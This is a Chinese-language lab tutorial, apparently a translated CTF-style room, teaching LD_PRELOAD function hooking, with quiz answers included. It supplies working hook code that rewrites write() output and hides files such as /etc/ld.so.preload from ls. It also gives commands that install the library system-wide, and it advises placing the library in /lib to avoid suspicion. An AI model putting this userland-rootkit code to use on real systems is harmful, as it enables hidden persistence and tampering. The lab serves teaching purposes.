在这个房间里,我们将研究 *Shared Libraries*, 什么是 *Function Hooking* 以及我们如何利用 *LD_PRELOAD* 做同样的事情!我试图让这个房间尽可能简单,但一些基本的C理解肯定是有用的!

What are Shared Libraries?

What Are Shared Libraries?

共享库是预编译的C代码,在生成可执行文件的最后步骤中链接。它们提供可重用的功能,如函数、例程、类、数据结构等,然后可以在编写自己的代码时使用它。

公共共享库,

  • libc : The standard C library.
  • glibc:GNU标准libc的实现。
  • libcurl:多协议文件传输库。
  • libcrypt:C库,用于加密,哈希,编码等。

关于共享库,需要知道的重要一点是,它们包含程序在运行时所需的各种函数的地址。

例如,当动态链接的可执行文件发出read()系统调用时,系统会从libc共享库中查找read()的地址。现在,libcread()有了一个定义良好的定义,它指定了函数参数的数量和类型,并期望返回特定类型的数据。通常,系统知道在哪里查找这些函数,但正如我们稍后将看到的,我们可以控制系统在哪里查找这些函数以及如何利用它们进行恶意目的。

TL;DR: 共享库是编译的C代码,其中包含函数定义,可以在以后调用这些函数来执行某些功能。当我们运行动态链接的可执行文件时,系统会在这些库中查找公共函数的定义。

在这一点上,关于共享库可以说很多。然而,我不想让这对人们来说太困难,并希望保持它的初学者友好,但我绝对鼓励人们阅读更多关于这些!

Linux上的动态链接器/加载器的名称是什么?

ld.so, ld-linux.so

Getting A Tad Bit Technical

到目前为止,我们已经了解到:

  1. 当我们执行一个动态链接的可执行文件时,它会调用共享库中预定义的某些标准函数。
  2. 系统在共享库中查找函数的地址。
  3. 系统返回位于共享库中的函数的第一个实例的地址。
  4. 然后执行所需的操作。

看起来够简单了吗现在让我们进入细节。接下来的大部分内容都来自于1#的手册页所以把它放在手边会很有帮助。

说完这些,我们继续:

首先,让我们检查ls命令所需的动态链接库。要做到这一点,你可以键入:

# ldd `which ls`

如果你用的是fish shell,那么:

# ldd (which ls)

无论哪种方式,它都应该给予你一个类似于这样的输出:

# ldd /bin/ls	         linux-gate.so.1 (0xb7f54000)	         libselinux.so.1 => /lib/i386-linux-gnu/libselinux.so.1 (0xb7ed7000)	         libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7cf9000)          libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb7cf3000)     libpcre.so.3 => /lib/i386-linux-gnu/libpcre.so.3 (0xb7c7a000)     /lib/ld-linux.so.2 (0xb7f56000)     libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb7c59000)

注意:这个例子取自x86 Kali系统,在64位系统上,我们将有不同的位置和库。

在这里,我们找到一个位于libc.so.6的库,其soname为 /lib/i386-linux-gnu/libc.so.6
注意:这些只是指向系统中其他地方的真实的共享库文件的符号链接。

我们这里的主要目标是了解系统的动态链接器如何在启动程序时加载这些动态库。为此,我们将大量参考ld.so手册页。

在手册页中,我们可以找到以下文本:

使用二进制文件的 DT_RPATH 动态节属性中指定的目录(如果存在)并且 DT_RUNPATH 属性不存在。 不推荐使用 DT_RPATH。
使用环境变量 LD_LIBRARY_PATH,除非可执行文件在安全执行模式下运行(见下文),在这种情况下该变量将被忽略。
使用二进制文件的 DT_RUNPATH 动态节属性中指定的目录(如果存在)。 搜索此类目录只是为了查找 DT_NEEDED(直接依赖项)条目所需的那些对象,并且不适用于这些对象的子对象,这些对象本身必须有自己的 DT_RUNPATH 条目。 这与 DT_RPATH 不同,DT_RPATH 用于搜索依赖树中的所有子项。
来自缓存文件 /etc/ld.so.cache,其中包含先前在增强库路径中找到的候选共享对象的编译列表。 但是,如果二进制文件是使用 -z nodeflib 链接器选项链接的,则将跳过默认路径中的共享对象。 安装在硬件功能目录(见下文)中的共享对象优先于其他共享对象。
在默认路径 /lib 中,然后在 /usr/lib 中。 (在某些 64 位体系结构上,64 位共享对象的默认路径是 /lib64,然后是 /usr/lib64。)如果二进制文件是使用 -z nodeflib 链接器选项链接的,则将跳过此步骤。

是的,这部分可能有点复杂,不要担心。只要知道有一些环境变量和系统路径,动态链接器在运行程序时会查找这些共享库。

我们感兴趣的部分位于下面的LD_PRELOAD部分。我鼓励大家阅读整个部分(它也相对较短)。我们应该注意的部分是本节末尾的要点(特别是第一个和最后一个):

(1)LD_PRELOAD环境变量。

(2)直接调用动态链接器时的–preload命令行选项。

(3)/etc/ld.so.preload**文件。

我们对第(1)(3)点更感兴趣,因为它们让我们指定自己的共享对象, 这些对象在 其他共享库之前加载,就像类似的PATH劫持攻击一样,我们将使用这些来创建我们自己的恶意共享库!

什么环境变量让你在所有其他人之前加载你自己的共享库?

LD_PRELOAD

哪个文件包含在运行程序之前要加载的ELF共享对象的列表(以空格分隔)?

/etc/ld.so.preload

如果环境变量和文件都被使用,那么由哪个指定的库将首先被加载?

environment variable

Putting On Our Coding Hats

理论说得够多了,该动手了。所以,戴上你的编码帽子,继续阅读下面的内容:

在我们开始之前,我们需要了解事情是如何运作的。在第一个例子中,我们将挂接write()函数。nbsp;首先让我们使用write()创建一个非常简单的程序 :

#include <unistd.h>
int main()
{
char str[13];
int s;
s=read(0, str,13);
write(1, str, s);
return 0;
}

首先,让我们编译并运行我们的示例以获得如下所示的输出:

img

在这里,我们基本上从stdin读取一些输入,并将其打印到stdout。很简单,对吧?(Let只是忽略了糟糕的内存管理)。现在,让我们来看看幕后发生了什么:

img

在正常情况下,当动态链接器遇到write()函数时,它会在标准共享库中查找其地址。在遇到第一次出现的 write()时,它将参数传递给函数并相应地返回输出。很简单,对吧?现在是时候恶意攻击了

首先,让我们创建一个自己的恶意共享库。因为我们要挂接的是 write() 函数,所以首先从手册页中查找完整的函数定义和返回类型。

从手册页中,我们得到了write()的函数定义 为 ssize_t write(int fd, const void *buf, size_t count); ,返回类型为 ssize_t

非常重要的是,我们的恶意函数也具有与我们试图挂钩的原始函数相同的函数定义和返回类型。有了这些,让我们开始编写我们自己的恶意共享库,如下所示:

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
ssize_t write(int fildes, const void *buf, size_t nbytes)
{
ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes);
ssize_t result;
new_write = dlsym(RTLD_NEXT, "write");
if (strncmp(buf, "Hello World",strlen("Hello World")) == 0) {
result = new_write(fildes, "Hacked 1337", strlen("Hacked 1337"));
}
else
{
result = new_write(fildes, buf, nbytes);
}
return result;
}

看上去很复杂,是吧?相信我,不是的。让我们来分析一下:

  • 首先,我们包括必要的头文件,我们将需要执行简单的任务。很正常的事,对吧?
  • 接下来,我们需要创建一个函数,该函数的函数定义和返回类型与我们试图挂钩的函数完全相同。这是因为调用该函数的程序将发送一组参数,并期望返回特定类型的输出,如果不能对齐,将导致不必要的错误。
    由于我们试图在这里挂接 write() 函数,因此我们创建了一个具有相同名称(write()),参数集(int fd, const void *buf, size_t count)和返回类型(ssize_t)的函数,以防止任何不必要的错误。到目前为止一切顺利,对吧?
  • 接下来,我们做一些非常重要的事情:创建一个函数指针new_write,它的变量集与我们试图钩子的函数相同,在本例中是write(),因为这将存储我们稍后使用的函数的原始地址!明白了吗?
  • 我们还创建了一个变量result来存储返回值。请注意,它与调用程序所期望的数据类型相同。
  • 最后,我们来看看这个项目中最技术性的部分。这里我们将原始write()函数的位置存储到我们之前创建的函数指针中。我们使用dlsym函数从标准共享库中获取下一次出现write的地址(由RTLD_NEXT标志指定)。我恳请您在继续更好地理解正在发生的事情之前,先浏览一下dlsym的手册页。

到目前为止,除了通常的名称和参数更改之外,所有情况下的步骤都非常标准。下面的步骤决定了我们将如何利用我们的钩子,并且对于不同的钩子会有所不同。

  • 现在我们有一些乐趣。在这里,我们比较传递给函数的字符串缓冲区,看看它是否等于“Hello World”。 如果是,我们使用函数指针调用原始的write()函数,但用我们自己的字符串替换它并存储返回的结果。你可以做任何你想做的事情:生成日志,触发其他条件,在满足某些条件时创建连接等等。
  • 但是,如果条件不满足,我们只需通过函数指针将所有参数传递给原始函数,并存储结果。
  • 最后,我们将结果返回给调用函数。

这很简单。不是吗?花点时间,如果你没有得到任何部分,请通读一遍,但要确保你理解了这些步骤,因为这是钩子的核心骨架结构。为了避免本节变得冗长乏味,我们将在下一个任务中看到如何编译和加载恶意共享库。

How many arguments does write() take?

3

为了 从<dlfcn. h>获取RTLD_NEXT的定义,必须定义哪个功能测试宏?

_GNU_SOURCE

Let’s Gooooooooo

好吧,最后一节可能有点枯燥,但我保证这一节会很有趣。在这里,我们将看到如何:

  • 编译我们的程序
  • 预加载我们的共享对象
  • 看到它的行动

设定好路线图后,让我们开始行动吧!

编译我们的程序

要从上一个任务编译我们的程序,我们将使用以下代码:

gcc -ldl malicious.c -fPIC -shared -D_GNU_SOURCE -o malicious.so 

注意:如果您 在任何时候遇到symbol lookup error,请尝试以下编译语句:

gcc malicious.c -fPIC -shared -D_GNU_SOURCE -o malicious.so -ldl
  • gcc:我们自己的GNU编译器集合。
  • -ldl; : 链接到libdl,也就是动态链接库。
  • malicious.c:我们程序的名称。
  • -fPIC:生成位置无关代码。(关于为什么需要这样做的答案可以在这里找到)。
  • -shared:告诉编译器创建一个共享对象,该对象可以与其他对象链接以生成可执行文件。
  • -D_GNU_SOURCE:它被指定为满足**#ifdef条件,允许我们使用RTLD_NEXT**枚举(是的,这就是我在任务4的问题2中所说的)。可选地,可以通过添加#define _GNU_SOURCE来替换此标志 。
  • -o:指定输出可执行文件的名称。
  • malicious.so:输出文件的名称。

完成这些之后,我们应该有一个 malicious.so 对象文件准备好挂接一个函数,只等待被预加载!

预加载我们的共享对象

现在我们已经准备好了共享对象文件,我们需要在其他共享库对象之前预加载它,以成功地挂接我们的函数。为此,我们有两种方法:

  • 使用 LD_PRELOAD
  • 使用 /etc/ld.so.preload文件

如果你一直跟着沿着,你知道,如果两者都被指定,那么LD_PRELOAD指定的库将首先加载 。这两种方法都有其优缺点,具体取决于情况,但我个人更喜欢后者,因为我们可以很容易地隐藏 /etc/ld.so.preload文件使用相同的方法(在稍后的任务中解释),而不是文件名前点的方式。下面是使用每个方法预加载共享对象的语法:

使用LD_PRELOAD:

export LD_PRELOAD=$(pwd)/malicious.so

使用/etc/ld.so.preload:

sudo sh -c "echo $(pwd)/malicious.so > /etc/ld.so.preload"

注意:这两个命令都必须从包含共享目标文件的目录中运行。理想情况下,您希望将它们存储在类似/lib或/usr/lib的位置,这取决于系统存储共享库目标文件的位置,以免引起怀疑。

您可以通过执行以下简单操作来验证共享对象是否已成功加载:

$ ldd /bin/ls   linux-gate.so.1 (0xb7fc0000)   /home/whokilleddb/malicious.so (0xb7f8f000)   libselinux.so.1 => /lib/i386-linux-gnu/libselinux.so.1 (0xb7f43000)   libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7d65000)   lbdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb7d5f000)   libpcre.so.3 => /lib/i386-linux-gnu/libpcre.so.3 (0xb7ce6000)   /lib/ld-linux.so.2 (0xb7fc2000)   libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb7cc5000)

[关于第一个linux-gate.so.1精彩解释]

需要注意的重要一点是,我们的恶意共享对象在标准共享库之前被加载。
img所以现在的场景是这样的:程序调用 write() 函数,所有参数都在适当的位置。然而,它并没有转到libc定义的 write() ,而是转到我们的恶意共享对象,因为动态链接器找到了write()FIRST OCCURRENCE 并让它做它的事情,在我们的例子中,这是一个简单的比较操作,如果为true,则返回恶意/篡改的输出,否则将参数传递到libc中的真实的函数,并将获得的输出传递回程序。

很直接,对吧?这个过程大致类似于在CTF和Pentest中广泛使用的PATH劫持方法,所以如果你理解得很好,这对你来说应该是轻而易举的。

最后,我们可以进入最后一个阶段,这是看到我们的恶意共享对象的行动!

在行动中看到它

还记得我们创建的“Hello World”程序吗?让我们重新运行它现在与我们的恶意共享对象预加载和准备!&如果我们这次运行它,我们会看到一些有趣的东西。而不是“Hello World”字符串被回显,我们将看到“Hacked 1337”,这是我们恶意共享对象的礼貌。

但这就到此为止了吗?不。许多其他的程序(很明显,后面有多余的y)使用libc来完成他们的工作。 write() 是一个非常常见的功能,经常被调用。这将影响到所有这些项目。

例如,如果您创建一个文件, “Hello World” 并试图 cat ,我们会得到 “Hacked 1337” 作为输出。同样的结果将遵循,如果我们使用 python3 因为在某种程度上,他们都在使用 write() function 已经被勾住的函数。所以现在你可以想象你可以用挂钩函数来实现的一系列事情,而不仅仅是交换文本。

img

所以这一切都是为了把 write() function.功能虽然我们并没有太多地使用该函数,但需要注意的是,它可以用来触发许多其他事件。例如,许多服务使用 write() function 函数来生成日志,如果我们能够触发一个开关(例如,通过传递“Hello World”或其他开关作为用户名或在请求的用户代理中,然后将其作为参数传递给 write()
在某些时候,我们可以产生反向/绑定shell,删除文件,泄露数据等。

话虽如此,我们将看看一些更有趣的事情,我们可以做的功能挂钩和乐趣挂钩到一些更多的 libc 在接下来的任务中发挥作用。

Hiding Files From ls

现在我们已经知道了如何使用共享对象来挂钩各种函数,让我们学习如何以比在文件名前放置一个点更有效的方式隐藏文件

在讨论 ls 命令之前,我们需要了解它的实际工作原理。我不会在这里详细介绍整个事情(人们对冗长的任务感到愤怒),但这里有一个很好的资源来理解命令,它的工作原理很深入。

这里我们需要知道的主要事情是,该命令使用了一个名为readdir()的函数,该函数返回一个指向目录中下一个dirent结构的指针。A dirent是一个C结构体,其glibc定义可以从readdir的手册页获得:

struct dirent {
ino_t d_ino; /* Inode number */
off_t d_off; /* Not an offset; see below */
unsigned short d_reclen; /* Length of this record */
unsigned char d_type; /* Type of file; not supported not supported by all filesystem types */
char d_name[256]; /* Null-terminated filename */
};

我们在这里关注的主要参数是d_name[256],这是一个强制字段,包含我们目录中各种文件的名称。

这是路线图:

  • ls使用readdir()函数获取目录的内容
  • The readdir() function returns a pointer to a dirent structure to the next directory entry
  • dirent结构包含一个d_name参数,该参数包含文件名
  • 因此,我们钩住了readdir()函数
  • 然后,我们将参数传递给原始函数,并检查返回指针的d_namedirent参数是否等于给定的文件名
  • 如果是的话,我们跳过它,把剩下的传递下去。

地图都设置好了,让我们开始编码吧!

#include <string.h>
#include <stdlib.h>
#include <dirent.h>
#include <dlfcn.h>
#define FILENAME "ld.so.preload"
struct dirent *readdir(DIR *dirp)
{
struct dirent *(*old_readdir)(DIR *dir);
old_readdir = dlsym(RTLD_NEXT, "readdir");
struct dirent *dir;
while (dir = old_readdir(dirp))
{
if(strstr(dir->d_name,FILENAME) == 0) break;
}
return dir;
}
struct dirent64 *readdir64(DIR *dirp)
{
struct dirent64 *(*old_readdir64)(DIR *dir);
old_readdir64 = dlsym(RTLD_NEXT, "readdir64");
struct dirent64 *dir;
while (dir = old_readdir64(dirp))
{
if(strstr(dir->d_name,FILENAME) == 0) break;
}
return dir;
}

[注:readdir 64只是64位版本,遵循相同的概念,所以不用担心!]

打破我们的钩子,我们有:

  • 首先,我们用额外的#include <dirent.h>头声明我们常用的头,其中包含dirent结构的定义
  • 然后,我们做我们通常的挂钩工作:创建一个具有相同定义和返回类型的函数,创建一个函数指针并使用dlsym将原始函数的值存储在其中。
  • 最后到了最关键的部分,我们创建了一个while循环,并获取指向目录流中由dirent指向的下一个dirp结构的指针,并检查d_name参数是否包含我们的字符串。如果没有(这表示为strstr函数的输出0),我们只需中断循环并返回从原始函数获得的值。然而,如果我们有一个匹配,我们就再一次搜索,从而有效地跳过我们的文件,返回指向目录中下一个文件的dirent结构的指针。

需要注意的是,您仍然可以修改文件或删除其内容。但是,它不会显示在ls命令的输出中!如果你想隐藏恶意文件,改变文件名等,这是非常有用的。一个非常流行的用途是隐藏/etc/ld.so.preload文件或共享对象本身!

img

正如你在屏幕截图中看到的,当恶意共享对象被加载时,ls没有在其输出中列出我们的文件。但是,我们仍然可以通过特别提到它的路径来读取它的内容。因此,您可以将文件隐藏在除了您之外没有人知道的地方。是不是很酷?

[注:如果你被卡住了,这里有一篇我写的关于这个主题的文章]

有两个不同结构的必填字段。一个是d_name,另一个是?

d_ino